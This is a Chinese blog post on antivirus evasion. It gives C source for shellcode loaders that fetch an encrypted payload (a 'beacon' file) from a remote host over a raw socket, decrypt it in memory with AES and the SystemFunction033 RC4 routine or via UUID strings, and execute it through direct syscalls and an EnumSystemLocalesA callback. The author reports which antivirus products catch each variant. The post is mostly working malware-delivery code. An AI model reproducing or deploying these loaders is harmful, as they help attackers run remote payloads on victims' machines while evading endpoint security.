免杀-内存中的加解密

3x0 内存中的加解密

3x0x0 SystemFunction032

SystemFunction032:一个系统函数,可以做到在内存中加解密,调用也很方便
或者沿着这个思路我们可以找找其他在内存中加解密的方法

加密代码:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char str_key[] = "helloWorld";
	 
	unsigned char shellcode[] = {};
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof key;
	 
	scdata.Buffer = (PUCHAR)shellcode;
	scdata.Length = sizeof shellcode;
	SystemFunction033(&scdata, &key);
	printf("unsigned char shellcode[] = { ");
	for (size_t i = 0; i < scdata.Length; i++) {
		if (!(i % 16)) printf("\n    ");
		printf("0x%02x, ", scdata.Buffer[i]);
		if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
	}

}

解密代码:

#include <windows.h>
#include <stdio.h>

typedef NTSTATUS(WINAPI* _SystemFunction033)(
	struct ustring *memoryRegion,
	struct ustring *keyPointer);

struct ustring {
	DWORD Length;
	DWORD MaximumLength;
	PUCHAR Buffer;
} scdata, key;

int main() {
	_SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary(L"advapi32"), "SystemFunction033");

	char str_key[] = "helloWorld";
	 
	unsigned char shellcode[] = {};
	key.Buffer = (PUCHAR)(&str_key);
	key.Length = sizeof key;
	 
	scdata.Buffer = (PUCHAR)shellcode;
	scdata.Length = sizeof shellcode;
	SystemFunction033(&scdata, &key);
	printf("unsigned char shellcode[] = { ");
	for (size_t i = 0; i < scdata.Length; i++) {
		if (!(i % 16)) printf("\n    ");
		printf("0x%02x, ", scdata.Buffer[i]);
		if(i == scdata.Length-1) printf("0x%02x };", scdata.Buffer[i]);
	}

}

综合利用代码:

//上面的函数都是上面ase和异常处理的
typedef NTSTATUS(WINAPI* _SystemFunction033)(
    struct ustring* memoryRegion,
    struct ustring* keyPointer);

struct ustring {
    DWORD Length;
    DWORD MaximumLength;
    PUCHAR Buffer;
} scdata, key;

int main(int argc, char** argv) {
   // const unsigned char* key1 = ;
    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beaase.bin";

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   

   

   //aes解密
  
   AES aes(AESKeyLength::AES_128); 
   unsigned char key1[] = { 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f };
   
   unsigned char* a = aes.DecryptECB((const unsigned char*)recvbuf_ptr, (unsigned int)recvbuf_size, key1);
   
   //xor解密
   /*int xorkey = 5 + 5;
   XORcrypt(a, recvbuf_size,xorkey);*/

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, a, recvbuf_size);
   //sys内存解密
   _SystemFunction033 SystemFunction033 = (_SystemFunction033)GetProcAddress(LoadLibrary("advapi32"), "SystemFunction033");
   char str_key[] = "132abc";
   key.Buffer = (PUCHAR)(&str_key);
   key.Length = sizeof(str_key);
   scdata.Buffer = (PUCHAR)shellcode_addr;
   scdata.Length = recvbuf_size;
   SystemFunction033(&scdata, &key);

   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

3x0x1 UUID内存加解密

参考文章:https://www.crisprx.top/archives/120
他们是把uuid写在shellcode加载器上面的,我给他改了一下,写成远程加载再加上uuid,再加上syscall,这里的uuid和上面的还有些不一样,是在内存中加解密
原理性问题参考上面文字地址。

效果:

火绒动静态都免;defender静态免动态被杀;360动静态都被杀
image.png
image.png

实现代码

uuid.bin文件需要自己修改,先用工具给shellcode加密,https://github.com/Haunted-Banshee/Shellcode-Hastur/image.png
复制到一个txt文件后,使用自带的替换功能,把前面的空格,双引号逗号都替换成空image.png
替换后为这样子
image.png
把文件后缀改成bin,用010等十六进制编辑器打开image.png
这里的0D0A都是换行符,但是我们在代码里面遍历uuid每一行的时候需要有个结束符\0,所以我们给替换成0000,至此我们的uuid.bin就可以了

#include <winsock2.h>
#include <ws2tcpip.h>
#include <Windows.h>
#include <stdio.h>
#include "jumper.h"

#include <Rpc.h>

#pragma comment(lib, "Rpcrt4.lib")

#pragma comment(lib, "ntdll")
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")


#define NtCurrentProcess()	   ((HANDLE)-1)
#define DEFAULT_BUFLEN 4096

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

LPVOID shellcode_addr;


DWORD getShellcode_Run(char* host, char* port, char* resource, OUT char* recvbuf_ptr) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        //printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        //printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            //printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
       // printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        // printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        //printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    // printf("\n[+] Sent %ld Bytes\n", iResult);

     // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        //printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr, 0, 400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            //printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            //printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0) {
            break;
            //printf("[+] Connection closed\n");
        }

        else
        {
            return 1;
            //printf("recv failed with error: %d\n", WSAGetLastError());
        }



        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}

int main()
{
    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5002";
    char* Resource = "uuid.bin";

    int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

    HANDLE hProc = GetCurrentProcess();
    LPVOID base_addr = NULL;
    LPVOID uuid_addr = NULL;
    HANDLE thandle = NULL;
    NTSTATUS NTAVM = Sw3NtAllocateVirtualMemory(
        hProc,
        &base_addr,
        0,
        (PSIZE_T)&recvbuf_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    //LPVOID lpAddress = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
    DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;

    NTSTATUS NTAVM1 = Sw3NtAllocateVirtualMemory(
        hProc,
        &uuid_addr,
        0,
        (PSIZE_T)&recvbuf_size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE);
    //memcpy(base_addr, recvbuf_ptr, recvbuf_size);
    Sw3NtWriteVirtualMemory(hProc, uuid_addr, recvbuf_ptr, recvbuf_size, NULL);

    // 循环遍历uuid列表 使用UuidFromStringA将字符串UUID转换为二进制UUID并加载到内存中
    for (int count = 0; count <= (recvbuf_size / 0x26 - 0x1); count++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuid_addr, (UUID*)mem_ptr);
        if (status != RPC_S_OK) {
            break;
        }
        uuid_addr =(void*)((uintptr_t)uuid_addr + 0x26);
        mem_ptr += 16;//uuid 16字节大小
    }

    

    DWORD oldProtect;
    //VirtualProtect(base_addr, recvbuf_size, PAGE_EXECUTE, &oldProtect);
    Sw3NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&recvbuf_size, PAGE_EXECUTE, &oldProtect);

    EnumSystemLocalesA((LOCALE_ENUMPROCA)base_addr, 0);
    
}

注:

  • DWORD_PTR mem_ptr = (DWORD_PTR)base_addr;这句代码的作用是为了保存shellcode内存首地址,用mem_ptr去遍历,遍历到最后mem_ptr的地址会是shellcode的尾地址,但是我们调用shellcode就直接调用base_addr即可
posted @ 2024-04-06 22:07  小新07  阅读(132)  评论(0编辑  收藏  举报